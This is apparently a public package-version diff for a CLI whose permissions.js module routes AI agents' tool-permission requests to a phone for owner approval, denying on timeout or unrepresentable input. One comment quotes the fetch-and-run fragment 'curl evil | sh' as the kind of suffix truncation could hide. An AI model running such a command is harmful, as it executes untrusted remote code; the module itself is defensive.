@relaymessenger/cli 0.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +139 -0
- package/claude-plugin/marketplace/.claude-plugin/marketplace.json +14 -0
- package/claude-plugin/marketplace/plugins/relay/.claude-plugin/plugin.json +18 -0
- package/claude-plugin/marketplace/plugins/relay/LICENSE +21 -0
- package/claude-plugin/marketplace/plugins/relay/README.md +173 -0
- package/claude-plugin/marketplace/plugins/relay/commands/configure.md +71 -0
- package/claude-plugin/marketplace/plugins/relay/runtime/server.mjs +26107 -0
- package/dist/api.d.ts +74 -0
- package/dist/api.d.ts.map +1 -0
- package/dist/api.js +129 -0
- package/dist/api.js.map +1 -0
- package/dist/claude-settings.d.ts +14 -0
- package/dist/claude-settings.d.ts.map +1 -0
- package/dist/claude-settings.js +47 -0
- package/dist/claude-settings.js.map +1 -0
- package/dist/cli.d.ts +3 -0
- package/dist/cli.d.ts.map +1 -0
- package/dist/cli.js +162 -0
- package/dist/cli.js.map +1 -0
- package/dist/codex.d.ts +25 -0
- package/dist/codex.d.ts.map +1 -0
- package/dist/codex.js +227 -0
- package/dist/codex.js.map +1 -0
- package/dist/doctor.d.ts +2 -0
- package/dist/doctor.d.ts.map +1 -0
- package/dist/doctor.js +122 -0
- package/dist/doctor.js.map +1 -0
- package/dist/engine/acp.d.ts +69 -0
- package/dist/engine/acp.d.ts.map +1 -0
- package/dist/engine/acp.js +402 -0
- package/dist/engine/acp.js.map +1 -0
- package/dist/engine/catalog.d.ts +26 -0
- package/dist/engine/catalog.d.ts.map +1 -0
- package/dist/engine/catalog.js +41 -0
- package/dist/engine/catalog.js.map +1 -0
- package/dist/engine/process.d.ts +12 -0
- package/dist/engine/process.d.ts.map +1 -0
- package/dist/engine/process.js +54 -0
- package/dist/engine/process.js.map +1 -0
- package/dist/engine/types.d.ts +57 -0
- package/dist/engine/types.d.ts.map +1 -0
- package/dist/engine/types.js +8 -0
- package/dist/engine/types.js.map +1 -0
- package/dist/flags.d.ts +9 -0
- package/dist/flags.d.ts.map +1 -0
- package/dist/flags.js +34 -0
- package/dist/flags.js.map +1 -0
- package/dist/install.d.ts +69 -0
- package/dist/install.d.ts.map +1 -0
- package/dist/install.js +510 -0
- package/dist/install.js.map +1 -0
- package/dist/mcp.d.ts +16 -0
- package/dist/mcp.d.ts.map +1 -0
- package/dist/mcp.js +127 -0
- package/dist/mcp.js.map +1 -0
- package/dist/pair.d.ts +20 -0
- package/dist/pair.d.ts.map +1 -0
- package/dist/pair.js +135 -0
- package/dist/pair.js.map +1 -0
- package/dist/permissions.d.ts +87 -0
- package/dist/permissions.d.ts.map +1 -0
- package/dist/permissions.js +342 -0
- package/dist/permissions.js.map +1 -0
- package/dist/receive.d.ts +54 -0
- package/dist/receive.d.ts.map +1 -0
- package/dist/receive.js +353 -0
- package/dist/receive.js.map +1 -0
- package/dist/store.d.ts +260 -0
- package/dist/store.d.ts.map +1 -0
- package/dist/store.js +550 -0
- package/dist/store.js.map +1 -0
- package/openclaw-plugin/relaymessenger-openclaw-plugin-0.1.0.tgz +0 -0
- package/package.json +51 -0
|
@@ -0,0 +1,342 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Permission broker: turns an engine permission ask into a Relay card and
|
|
3
|
+
* blocks until the phone answers (or the window expires → deny).
|
|
4
|
+
*
|
|
5
|
+
* Wire shape is shared with the Claude Code channel plugin
|
|
6
|
+
* (integrations/claude-code/src/bridge.ts): one Relay message with a
|
|
7
|
+
* human-readable text part (including the "yes <id>" / "no <id>" text
|
|
8
|
+
* fallback) plus a `data` part
|
|
9
|
+
* { kind: "agent_permission_request", request_id, tool_name, description,
|
|
10
|
+
* input_preview, options: [{ id: "allow"|"deny", label,
|
|
11
|
+
* origin: { kind, request_id } }] }
|
|
12
|
+
* and the same tolerant reply parser (origin-tagged data-part tap or text
|
|
13
|
+
* fallback). Request ids use Claude Code's 5-char [a-km-z] alphabet.
|
|
14
|
+
*
|
|
15
|
+
* Pending approvals are durable resources, not in-memory callback state: each
|
|
16
|
+
* ask is created (create-once) in the paired account runtime's approvals/
|
|
17
|
+
* BEFORE the Relay card is posted; the loop writes the resolution when the
|
|
18
|
+
* tap arrives, and the waiter (this broker's ACP path, or the codex hook in
|
|
19
|
+
* another process) consumes it by unlinking the file. In-window entries stay
|
|
20
|
+
* armed across restarts so a late tap is consumed instead of being forwarded
|
|
21
|
+
* to the engine as a prompt; abandoned files age out after deadline + grace.
|
|
22
|
+
*/
|
|
23
|
+
import { randomInt } from "node:crypto";
|
|
24
|
+
import { engineDisplayName } from "./engine/catalog.js";
|
|
25
|
+
export const APPROVAL_TIMEOUT_MS = 10 * 60 * 1000;
|
|
26
|
+
export const PERMISSION_CARD_KIND = "agent_permission_request";
|
|
27
|
+
/** Claude Code request-id alphabet: five lowercase letters, never "l". */
|
|
28
|
+
const REQUEST_ID_ALPHABET = "abcdefghijkmnopqrstuvwxyz";
|
|
29
|
+
const REQUEST_ID_RE = /^[a-km-z]{5}$/;
|
|
30
|
+
export const PERMISSION_REPLY_RE = /^\s*(y|yes|n|no)\s+([a-km-z]{5})\s*$/i;
|
|
31
|
+
export function newRequestId() {
|
|
32
|
+
let id = "";
|
|
33
|
+
for (let i = 0; i < 5; i += 1) {
|
|
34
|
+
id += REQUEST_ID_ALPHABET[randomInt(REQUEST_ID_ALPHABET.length)];
|
|
35
|
+
}
|
|
36
|
+
return id;
|
|
37
|
+
}
|
|
38
|
+
export function parseVerdictText(text) {
|
|
39
|
+
const m = PERMISSION_REPLY_RE.exec(text);
|
|
40
|
+
if (!m)
|
|
41
|
+
return null;
|
|
42
|
+
return {
|
|
43
|
+
request_id: m[2].toLowerCase(),
|
|
44
|
+
behavior: m[1].toLowerCase().startsWith("y") ? "allow" : "deny",
|
|
45
|
+
};
|
|
46
|
+
}
|
|
47
|
+
function normalizeBehavior(value) {
|
|
48
|
+
if (typeof value !== "string")
|
|
49
|
+
return null;
|
|
50
|
+
const v = value.trim().toLowerCase();
|
|
51
|
+
if (v === "allow" || v === "yes" || v === "y" || v === "approve")
|
|
52
|
+
return "allow";
|
|
53
|
+
if (v === "deny" || v === "no" || v === "n" || v === "reject")
|
|
54
|
+
return "deny";
|
|
55
|
+
return null;
|
|
56
|
+
}
|
|
57
|
+
/**
|
|
58
|
+
* Parses an origin-tagged option tap carried in a `data` part. Accepted
|
|
59
|
+
* shapes, checked in order (identical to the channel plugin):
|
|
60
|
+
*
|
|
61
|
+
* { origin: { kind: "agent_permission_request", request_id }, option_id }
|
|
62
|
+
* { origin: { request_id }, option: "allow" | "deny" }
|
|
63
|
+
* { kind: "agent_permission_request", request_id, behavior | option_id }
|
|
64
|
+
*/
|
|
65
|
+
export function parseVerdictDataPart(data) {
|
|
66
|
+
if (typeof data !== "object" || data === null)
|
|
67
|
+
return null;
|
|
68
|
+
const record = data;
|
|
69
|
+
let requestId;
|
|
70
|
+
const origin = record.origin;
|
|
71
|
+
if (typeof origin === "object" && origin !== null) {
|
|
72
|
+
requestId = origin.request_id;
|
|
73
|
+
}
|
|
74
|
+
if (typeof requestId !== "string")
|
|
75
|
+
requestId = record.request_id;
|
|
76
|
+
if (typeof requestId !== "string")
|
|
77
|
+
return null;
|
|
78
|
+
const id = requestId.toLowerCase();
|
|
79
|
+
if (!REQUEST_ID_RE.test(id))
|
|
80
|
+
return null;
|
|
81
|
+
const behavior = normalizeBehavior(record.option_id) ??
|
|
82
|
+
normalizeBehavior(record.option) ??
|
|
83
|
+
normalizeBehavior(record.choice) ??
|
|
84
|
+
normalizeBehavior(record.behavior);
|
|
85
|
+
if (!behavior)
|
|
86
|
+
return null;
|
|
87
|
+
return { request_id: id, behavior };
|
|
88
|
+
}
|
|
89
|
+
/** Extracts a verdict from a user message: data-part tap first, then text. */
|
|
90
|
+
export function verdictFromMessage(message) {
|
|
91
|
+
for (const part of message.parts) {
|
|
92
|
+
if (part.type !== "data")
|
|
93
|
+
continue;
|
|
94
|
+
const verdict = parseVerdictDataPart(part.data);
|
|
95
|
+
if (verdict)
|
|
96
|
+
return verdict;
|
|
97
|
+
}
|
|
98
|
+
const text = message.parts
|
|
99
|
+
.filter((part) => part.type === "text" && typeof part.text === "string" && part.text.length > 0)
|
|
100
|
+
.map((part) => part.text)
|
|
101
|
+
.join("\n");
|
|
102
|
+
return parseVerdictText(text.length > 0 ? text : message.fallback_text ?? "");
|
|
103
|
+
}
|
|
104
|
+
const MAX_DESCRIPTION_CHARS = 500;
|
|
105
|
+
export const MAX_PERMISSION_PREVIEW_CHARS = 6_000;
|
|
106
|
+
export class PermissionPreviewTooLongError extends Error {
|
|
107
|
+
actualChars;
|
|
108
|
+
constructor(actualChars) {
|
|
109
|
+
super(`permission input is ${actualChars} characters; Relay only permits approval when the full ` +
|
|
110
|
+
`${MAX_PERMISSION_PREVIEW_CHARS}-character security preview can be shown`);
|
|
111
|
+
this.actualChars = actualChars;
|
|
112
|
+
this.name = "PermissionPreviewTooLongError";
|
|
113
|
+
}
|
|
114
|
+
}
|
|
115
|
+
/** Same defense-in-depth sanitization as the channel plugin. */
|
|
116
|
+
export function sanitizeRelayedText(value, maxChars) {
|
|
117
|
+
const cleaned = value
|
|
118
|
+
.replace(/[\u200b-\u200f\u2028-\u202e\u2066-\u2069\ufeff]/g, "")
|
|
119
|
+
.replace(/[\u0000-\u0008\u000b\u000c\u000e-\u001f\u007f-\u009f]/g, "")
|
|
120
|
+
.replace(/\s+/g, " ")
|
|
121
|
+
.trim();
|
|
122
|
+
return clampHeadTail(cleaned, maxChars);
|
|
123
|
+
}
|
|
124
|
+
/**
|
|
125
|
+
* Over-limit values keep head + tail with an explicit omission marker: a
|
|
126
|
+
* plain head truncation lets a hostile suffix (`… && curl evil | sh`) hide
|
|
127
|
+
* behind the ellipsis on the approval card.
|
|
128
|
+
*/
|
|
129
|
+
export function clampHeadTail(value, maxChars) {
|
|
130
|
+
if (value.length <= maxChars)
|
|
131
|
+
return value;
|
|
132
|
+
const tailChars = Math.min(300, Math.floor(maxChars / 4));
|
|
133
|
+
const marker = ` […${value.length - maxChars} of ${value.length} chars omitted…] `;
|
|
134
|
+
const headChars = Math.max(1, maxChars - tailChars - marker.length);
|
|
135
|
+
return `${value.slice(0, headChars)}${marker}${value.slice(value.length - tailChars)}`;
|
|
136
|
+
}
|
|
137
|
+
/**
|
|
138
|
+
* Security-sensitive tool input is never truncated. If it cannot fit in the
|
|
139
|
+
* approval card, the caller must deny instead of asking the owner to approve
|
|
140
|
+
* an operation with concealed content.
|
|
141
|
+
*/
|
|
142
|
+
export function sanitizePermissionPreview(value) {
|
|
143
|
+
const cleaned = value
|
|
144
|
+
.replace(/\r\n?/g, "\n")
|
|
145
|
+
.replace(/[\u200b-\u200f\u2028-\u202e\u2066-\u2069\ufeff]/g, "")
|
|
146
|
+
.replace(/[\u0000-\u0008\u000b\u000c\u000e-\u001f\u007f-\u009f]/g, "")
|
|
147
|
+
.trim();
|
|
148
|
+
if (cleaned.length > MAX_PERMISSION_PREVIEW_CHARS) {
|
|
149
|
+
throw new PermissionPreviewTooLongError(cleaned.length);
|
|
150
|
+
}
|
|
151
|
+
return cleaned;
|
|
152
|
+
}
|
|
153
|
+
export function buildPermissionCard(input) {
|
|
154
|
+
const toolName = sanitizeRelayedText(input.toolName ?? "", 100) || "a tool";
|
|
155
|
+
const description = sanitizeRelayedText(input.description ?? "", MAX_DESCRIPTION_CHARS);
|
|
156
|
+
const inputPreview = sanitizePermissionPreview(input.inputPreview ?? "");
|
|
157
|
+
const id = input.requestId;
|
|
158
|
+
const lines = [
|
|
159
|
+
`${input.engineLabel} wants to run ${toolName}${description ? `: ${description}` : ""}`,
|
|
160
|
+
];
|
|
161
|
+
if (inputPreview.length > 0)
|
|
162
|
+
lines.push("", inputPreview);
|
|
163
|
+
lines.push("", `Reply "yes ${id}" to allow or "no ${id}" to deny.`);
|
|
164
|
+
return {
|
|
165
|
+
body: {
|
|
166
|
+
conversation_id: input.conversationId,
|
|
167
|
+
parts: [
|
|
168
|
+
{ type: "text", text: lines.join("\n") },
|
|
169
|
+
{
|
|
170
|
+
type: "data",
|
|
171
|
+
data: {
|
|
172
|
+
kind: PERMISSION_CARD_KIND,
|
|
173
|
+
request_id: id,
|
|
174
|
+
tool_name: toolName,
|
|
175
|
+
description,
|
|
176
|
+
input_preview: inputPreview,
|
|
177
|
+
options: [
|
|
178
|
+
{ id: "allow", label: "Allow", origin: { kind: PERMISSION_CARD_KIND, request_id: id } },
|
|
179
|
+
{ id: "deny", label: "Deny", origin: { kind: PERMISSION_CARD_KIND, request_id: id } },
|
|
180
|
+
],
|
|
181
|
+
},
|
|
182
|
+
},
|
|
183
|
+
],
|
|
184
|
+
// Chip text IS the sent text, so the chips carry the parseable fallback.
|
|
185
|
+
suggestions: [{ text: `yes ${id}` }, { text: `no ${id}` }],
|
|
186
|
+
},
|
|
187
|
+
idempotencyKey: `agent-perm-${id}`,
|
|
188
|
+
};
|
|
189
|
+
}
|
|
190
|
+
/** Maps a binary verdict back onto the engine's richer option set. */
|
|
191
|
+
export function decisionForVerdict(approval, behavior) {
|
|
192
|
+
const prefix = behavior === "allow" ? "allow" : "reject";
|
|
193
|
+
const exact = approval.options.find((option) => option.kind === `${prefix}_once`);
|
|
194
|
+
const fuzzy = approval.options.find((option) => option.kind?.startsWith(prefix));
|
|
195
|
+
const chosen = exact ?? fuzzy;
|
|
196
|
+
if (chosen)
|
|
197
|
+
return { behavior: "selected", optionId: chosen.option_id };
|
|
198
|
+
return behavior === "allow" && approval.options[0]
|
|
199
|
+
? { behavior: "selected", optionId: approval.options[0].option_id }
|
|
200
|
+
: { behavior: "cancelled" };
|
|
201
|
+
}
|
|
202
|
+
export function denyDecision(approval) {
|
|
203
|
+
return decisionForVerdict(approval, "deny");
|
|
204
|
+
}
|
|
205
|
+
export class PermissionBroker {
|
|
206
|
+
client;
|
|
207
|
+
approvals;
|
|
208
|
+
timeoutMs;
|
|
209
|
+
log;
|
|
210
|
+
waiters = new Map();
|
|
211
|
+
constructor(client, approvals, timeoutMs = APPROVAL_TIMEOUT_MS, log = () => { }) {
|
|
212
|
+
this.client = client;
|
|
213
|
+
this.approvals = approvals;
|
|
214
|
+
this.timeoutMs = timeoutMs;
|
|
215
|
+
this.log = log;
|
|
216
|
+
}
|
|
217
|
+
/**
|
|
218
|
+
* Age out abandoned approval files. Files with an unconsumed resolution are
|
|
219
|
+
* owned by a waiter in another process (e.g. a codex hook) and survive
|
|
220
|
+
* until their deadline + grace window; only clearly-dead entries go.
|
|
221
|
+
*/
|
|
222
|
+
sweep(now = Date.now()) {
|
|
223
|
+
for (const requestId of this.approvals.sweep(now)) {
|
|
224
|
+
this.log(`aged out abandoned approval ${requestId}`);
|
|
225
|
+
}
|
|
226
|
+
}
|
|
227
|
+
/**
|
|
228
|
+
* Called by the receive loop for every inbound owner message. Returns true
|
|
229
|
+
* when the message answered a pending approval and must NOT be forwarded to
|
|
230
|
+
* the engine as a prompt.
|
|
231
|
+
*/
|
|
232
|
+
consumeReply(message) {
|
|
233
|
+
const verdict = verdictFromMessage(message);
|
|
234
|
+
if (!verdict)
|
|
235
|
+
return false;
|
|
236
|
+
const approval = this.approvals.get(verdict.request_id);
|
|
237
|
+
if (!approval || approval.resolution) {
|
|
238
|
+
// A verdict-shaped reply with no live ask is still consumed: it must
|
|
239
|
+
// never become an engine prompt.
|
|
240
|
+
return true;
|
|
241
|
+
}
|
|
242
|
+
// A verdict only counts from the conversation that was asked.
|
|
243
|
+
if (approval.conversation_id !== message.conversation_id) {
|
|
244
|
+
this.log(`verdict for ${verdict.request_id} from wrong conversation ` +
|
|
245
|
+
`${message.conversation_id} (expected ${approval.conversation_id}) — ignored`);
|
|
246
|
+
return true;
|
|
247
|
+
}
|
|
248
|
+
const waiter = this.waiters.get(verdict.request_id);
|
|
249
|
+
if (waiter) {
|
|
250
|
+
// Our own ask: resolve in-process and consume the file.
|
|
251
|
+
clearTimeout(waiter.timer);
|
|
252
|
+
this.waiters.delete(verdict.request_id);
|
|
253
|
+
this.approvals.consume(verdict.request_id);
|
|
254
|
+
waiter.resolve(decisionForVerdict(approval, verdict.behavior));
|
|
255
|
+
}
|
|
256
|
+
else {
|
|
257
|
+
// Armed by another process (codex hook): write the resolution for its
|
|
258
|
+
// waiter to consume. Single writer per file — the hook only unlinks.
|
|
259
|
+
approval.resolution = { behavior: verdict.behavior, decided_at: new Date().toISOString() };
|
|
260
|
+
this.approvals.put(approval);
|
|
261
|
+
}
|
|
262
|
+
this.log(`approval ${verdict.request_id} resolved: ${verdict.behavior}`);
|
|
263
|
+
return true;
|
|
264
|
+
}
|
|
265
|
+
/** Post the card and block until tap or timeout→deny. */
|
|
266
|
+
async ask(conversationId, askInput, engine) {
|
|
267
|
+
const requestId = newRequestId();
|
|
268
|
+
const approval = {
|
|
269
|
+
request_id: requestId,
|
|
270
|
+
conversation_id: conversationId,
|
|
271
|
+
engine,
|
|
272
|
+
tool_name: askInput.toolName,
|
|
273
|
+
created_at: new Date().toISOString(),
|
|
274
|
+
deadline_at: new Date(Date.now() + this.timeoutMs).toISOString(),
|
|
275
|
+
options: askInput.options.map((option) => ({
|
|
276
|
+
option_id: option.optionId,
|
|
277
|
+
label: option.label,
|
|
278
|
+
kind: option.kind,
|
|
279
|
+
})),
|
|
280
|
+
source: "acp",
|
|
281
|
+
};
|
|
282
|
+
if (askInput.inputComplete === false) {
|
|
283
|
+
this.log(`approval ${requestId} denied before posting: raw operation unavailable`);
|
|
284
|
+
return denyDecision(approval);
|
|
285
|
+
}
|
|
286
|
+
let card;
|
|
287
|
+
try {
|
|
288
|
+
card = buildPermissionCard({
|
|
289
|
+
requestId,
|
|
290
|
+
conversationId,
|
|
291
|
+
engineLabel: engineDisplayName(engine),
|
|
292
|
+
toolName: askInput.toolName,
|
|
293
|
+
description: askInput.title,
|
|
294
|
+
inputPreview: askInput.inputPreview,
|
|
295
|
+
});
|
|
296
|
+
}
|
|
297
|
+
catch (error) {
|
|
298
|
+
// Never ask the owner to approve a partially represented operation.
|
|
299
|
+
this.log(`approval ${requestId} denied before posting: ${error}`);
|
|
300
|
+
return denyDecision(approval);
|
|
301
|
+
}
|
|
302
|
+
// Durable (create-once) before the card goes out.
|
|
303
|
+
this.approvals.create(approval);
|
|
304
|
+
// Arm the waiter BEFORE the card goes out: a fast tap can race the POST's
|
|
305
|
+
// response, and a verdict that lands before the waiter exists would
|
|
306
|
+
// otherwise be recorded as a file resolution that this promise then
|
|
307
|
+
// overwrites — or worse, timeout-denied after the user already allowed.
|
|
308
|
+
const decision = new Promise((resolve) => {
|
|
309
|
+
const timer = setTimeout(() => {
|
|
310
|
+
this.waiters.delete(requestId);
|
|
311
|
+
this.approvals.consume(requestId);
|
|
312
|
+
this.log(`approval ${requestId} timed out → deny`);
|
|
313
|
+
resolve(denyDecision(approval));
|
|
314
|
+
}, this.timeoutMs);
|
|
315
|
+
// The engine is awaiting this decision; the timeout must keep the
|
|
316
|
+
// process alive so every unanswered ask deterministically denies.
|
|
317
|
+
this.waiters.set(requestId, { approval, resolve, timer });
|
|
318
|
+
});
|
|
319
|
+
try {
|
|
320
|
+
const posted = await this.client.postMessage(card.body, card.idempotencyKey);
|
|
321
|
+
// The waiter may already have resolved (fast tap): only annotate while
|
|
322
|
+
// the approval file is still ours.
|
|
323
|
+
if (this.waiters.has(requestId)) {
|
|
324
|
+
approval.relay_message_id = posted.message_id;
|
|
325
|
+
this.approvals.put(approval);
|
|
326
|
+
}
|
|
327
|
+
}
|
|
328
|
+
catch (error) {
|
|
329
|
+
// Card never reached the phone: withdraw the ask and deny.
|
|
330
|
+
const waiter = this.waiters.get(requestId);
|
|
331
|
+
if (waiter) {
|
|
332
|
+
clearTimeout(waiter.timer);
|
|
333
|
+
this.waiters.delete(requestId);
|
|
334
|
+
this.approvals.consume(requestId);
|
|
335
|
+
this.log(`approval ${requestId} card post failed → deny: ${error}`);
|
|
336
|
+
waiter.resolve(denyDecision(approval));
|
|
337
|
+
}
|
|
338
|
+
}
|
|
339
|
+
return await decision;
|
|
340
|
+
}
|
|
341
|
+
}
|
|
342
|
+
//# sourceMappingURL=permissions.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"permissions.js","sourceRoot":"","sources":["../src/permissions.ts"],"names":[],"mappings":"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